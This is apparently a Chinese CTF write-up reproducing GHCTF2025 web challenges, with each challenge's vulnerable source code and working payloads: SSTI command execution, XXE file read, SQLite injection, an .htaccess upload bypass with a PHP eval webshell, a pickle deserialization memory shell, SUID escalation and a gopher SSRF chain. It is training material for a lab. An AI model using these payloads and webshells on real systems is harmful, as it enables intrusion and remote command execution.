GHCTF2025-WEB-复现
WEB
SSTI
SSTI
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
Payload:
{{cycler["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("\x74\x61\x63\x20\x2f\x66\x6c\x61\x67")["\x72\x65\x61\x64"]()}}
NSSCTF{b08275bc-a242-445e-9082-bc1c46f0799a}
fenjing 实践⌛️
(>﹏<)
XXE
给了源码
from flask import Flask, request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf', methods=['POST'])
def parse():
xml = request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name = root.find('name').text
return name or None
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
就是简单的 XXE 攻击,可以加载 DTD
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>
xml=%3C!DOCTYPE%20foo%20%5B%0A%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%3Cname%3E%26xxe%3B%3C%2Fname%3E%0A%3C%2Froot%3E
sql---sqlite
Sqlite 注入
CREATE TABLE "flag" ( "flag" TEXT )
?id=1%20union%20select%201,2,3,(select group_concat(flag) from flag),5
UPUPUP
文件上传,getimagesize和exif_imagetype 绕过
php 文件上传.htaccess getimagesize和exif_imagetype绕过_getimagesize图片类型绕过-CSDN博客
<FilesMatch "mum.bx">
SetHandler application/x-httpd-php
后端检验了<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">mine</font>
类型, 直接加上<font style="color:rgb(199, 37, 78);background-color:rgb(249, 242, 244);">GIF89a</font>
上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype
\x00
#
#define width 1
#define height 1
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这里需要完整闭合的
#define width 1337
#define height 1337
<?php @eval($_POST['cmd']);?>
蚁剑连接
NSSCTF{ff6eeee3-9f33-48d3-9139-a8fe2704dc5a}
可以看一下检测代码
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UPLOAD</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="terminal">
<div class="terminal-header">
<span class="red"></span>
<span class="yellow"></span>
<span class="green"></span>
<span class="title">UPLOAD</span>
</div>
<div class="terminal-body">
<form id="upload-form" action="" method="post" enctype="multipart/form-data">
<label for="uploadfile">选择文件:</label>
<input type="file" id="uploadfile" name="file" required>
<br>
<input type="submit" name="upload" value="上传" class="upload-button">
</form>
<div class="output">
<?php
error_reporting(0);
if ($_POST['upload']) {
if ($_FILES['file']['error'] > 0) {
echo "<p>❌ 上传出错</p>";
} else {
if ($_FILES['file']['size'] > 0 && $_FILES['file']['size'] < 1024 * 1024 * 2) {
$dir = 'images';
if (!is_dir($dir)) mkdir($dir, 0755);
$tmp_filename = $_FILES['file']['tmp_name'];
$filename = $_FILES['file']['name'];
if (preg_match('/ph|\.\.|ini/i', $filename)) {
echo "<p>⚠️ 文件不允许</p>";
exit;
}
if (is_uploaded_file($tmp_filename)) {
if (move_uploaded_file($tmp_filename, "$dir/$filename")) {
if (!getimagesize("$dir/$filename")) {
unlink("$dir/$filename");
echo "<p>⚠️ 非法文件</p>";
exit;
}
echo "<p>✅ 上传成功!</p>";
echo "<p>📂 文件大小: " . round($_FILES['file']['size'] / 1024, 2) . " KB</p>";
echo "<p>📍 文件路径: $dir/$filename</p>";
} else {
echo "<p>❌ 上传失败</p>";
}
}
} else {
echo "<p>⚠️ 文件大小不符合要求</p>";
}
}
}
?>
</div>
</div>
</div>
</body>
</html>
ezzzz_pickle
弱密钥爆破登录:
admin
admin123
源代码有提示是 session_pickle
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
# 用户数据库
users = {
"admin": "admin123",
}
# 生成密钥和初始化向量(IV)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
# AES 加密/解密函数
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
# 创建会话
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600 # 会话有效期为1小时
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session
# 下载文件
def download_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data
# 验证会话
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
# 只有 admin 用户可以访问
if session_data["username"] != "admin":
return False
# 检查会话是否过期
return session_data if session_data["expires"] > time.time() else False
except Exception:
return False
# 首页
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = download_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")
# 登录页面
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")
# 登出
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=12917a805c7540fd
PYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/
开始构造打入内存马
AES 解码
ai 生成的
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64
# AES 解密函数
def aes_decrypt(encrypted_data, key, iv):
# 将加密数据从 base64 解码
encrypted_data_bytes = base64.b64decode(encrypted_data)
# 创建 AES 解密器
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
# 解密数据
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
# 去除填充(PKCS7)
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
# 返回解密后的字符串
return unpadded_data.decode('utf-8')
# 示例:密钥和 IV(必须与加密时使用的相同)
key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv' # 32字节的密钥(AES-256)
iv = b'asdwdggiouewhgpw' # 16字节的初始化向量(IV)
# 加密后的数据(base64 编码)
encrypted_data = "eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtdJdSG0T1WocAYIhPoRO2sskGWxMYk6m2Wqa9uZcHQS8="
data1 = aes_decrypt(encrypted_data,key,iv)
print(data1)
print(base64.b64decode(data1))
AES 编码
import pickle
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64
# AES 加密函数
def aes_encrypt(plaintext, key, iv):
# 创建 AES 加密器
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# 对明文进行填充(PKCS7)
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(plaintext.encode()) + padder.finalize()
# 加密数据
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
# 返回 base64 编码的加密结果
return base64.b64encode(encrypted_data).decode('utf-8')
# 示例:密钥和 IV(必须与解密时使用的相同)
key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv'
iv = b'asdwdggiouewhgpw'
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
a = A()
piced = pickle.dumps(a)
#print(piced)
piced_base64 = base64.b64encode(piced).decode('Utf-8')
#print(piced_base64)
aes_data = aes_encrypt(piced_base64, key, iv)
print(aes_data)
分析一下 wp 给的马
global exc_class;
global code;
exc_class, code = app._get_exc_class_and_code(404);
app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('shell')).read()
- 操作目标假设
app
是一个 Web 框架(如 Flask/Django)的实例,error_handler_spec
是框架用于注册错误处理函数的字典。 - 注册恶意错误处理器
app._get_exc_class_and_code(404)
:获取 404 错误对应的异常类和状态码。app.error_handler_spec[None][code][exc_class] = ...
:将 404 错误的处理函数替换为恶意 Lambda 函数。
- 恶意 Lambda 函数
lambda a: __import__('os').popen(request.args.get('shell')).read()
- <font style="color:rgb(0, 0, 0);">通过</font><font style="color:rgb(0, 0, 0);"> </font>`request.args.get('shell')`<font style="color:rgb(0, 0, 0);"> </font><font style="color:rgb(0, 0, 0);">获取用户传入的</font><font style="color:rgb(0, 0, 0);"> </font>`shell`<font style="color:rgb(0, 0, 0);"> </font><font style="color:rgb(0, 0, 0);">参数(如 URL 中的</font><font style="color:rgb(0, 0, 0);"> </font>`?shell=恶意命令`<font style="color:rgb(0, 0, 0);">)。</font>
- <font style="color:rgb(0, 0, 0);">调用 </font>`os.popen()`<font style="color:rgb(0, 0, 0);"> 执行该命令并返回结果。</font>
去请求 404 的页面传参数就行了
Getshell
SUID 提权,wc
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {
$this->logLevel = $logLevel;
}
public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}
class UserManager {
private $users = [];
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}
if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {
$this->maxLength = $maxLength;
}
public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic
脚本加载失败,请尝试更换网络。需要可以访问 https://v.met0.top 若出现验证信息,请完成验证即可正常使用脚本
执行点在这里
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
所以我们构造
input=echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==|base64 -d>muma.php
//<?php eval($_POST["cmd"]);?>
suid 提权
find / -perm -u=s -type f 2>/dev/null
$ ./wc --files0-from "/flag"
Goph3rrr
看着名字就像打 ssrf 里面的协议
扫目录可以扫出来一些东西
❯ python dirsearch.py -u http://node6.anna.nssctf.cn:24482/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://node6.anna.nssctf.cn:24482/
[21:44:46] Scanning:
[21:45:12] 200 - 3MB - /app.py
[21:45:56] 500 - 265B - /Upload
Task Completed
可以下载那个 app.py
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random
app = Flask(__name__)
BlackList = [
"127.0.0.1"
]
@app.route('/')
def index():
return '''
<html>
<head>
<style>
body {
background-size: cover; /* 背景图片覆盖整个页面 */
height: 100vh; /* 页面高度填满浏览器窗口 */
display: flex;
justify-content: center; /* 水平居中 */
align-items: center; /* 垂直居中 */
color: white; /* 字体颜色 */
font-family: Arial, sans-serif; /* 字体 */
text-align: center; /* 文字居中 */
}
h1 {
font-size: 50px;
transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
}
h1:hover {
transform: translateY(-10px); /* 向上浮动 */
}
</style>
</head>
<body>
<h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇≦)</h1>
</body>
</html>
'''
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #007bff;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-primary {
background-color: #007bff;
border: none;
}
.btn-primary:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Login</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
根据我们的请求构造
POST /Mange HTTP/1.1
Host: node6.anna.nssctf.cn:24482
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Origin: http://node6.anna.nssctf.cn:24482
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: http://node6.anna.nssctf.cn:24482/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=ls
略缩一些
POST /Manage HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
cmd=ls /
一次 URL 编码
POST%20%2FManage%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%206%0A%0Acmd%3Dls
二次 URL 编码
gopher://127.0.0.1:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25206%250A%250Acmd%253Dls
但是 127.0.0.1
被 ban 了
最后 Payload--->ls
Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25206%250A%250Acmd%253Dls
-----> ls /
http://node6.anna.nssctf.cn:24482/Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25208%250A%250Acmd%253Dls%2520%252F
看看环境变量
最后的最后
GET /Gopher?url=gopher://127.127.127.127:8000/_POST%2520%252FManage%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%253Denv HTTP/1.1
Host: node6.anna.nssctf.cn:24482
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.9.21 Date: Mon, 10 Mar 2025 14:15:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 361 Connection: close HOSTNAME=d6297c73306141e1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 PYTHON_SHA256=3126f59592c9b0d798584755f2bf7b081fa1ca35ce7a6fea980108d752a05bb1 WERKZEUG_SERVER_FD=3 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.9.21 PWD=/app FLAG=NSSCTF{70c78a7b-8347-41be-b230-57b74ed04cdd}
readflag
md5 强碰撞 ,CVE
POST /?file=/docker-entrypoint.sh HTTP/1.1
Host: node1.anna.nssctf.cn:28663
Accept-Encoding: gzip, deflate
Referer: http://node1.anna.nssctf.cn:28663/
Origin: http://node1.anna.nssctf.cn:28663
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2311
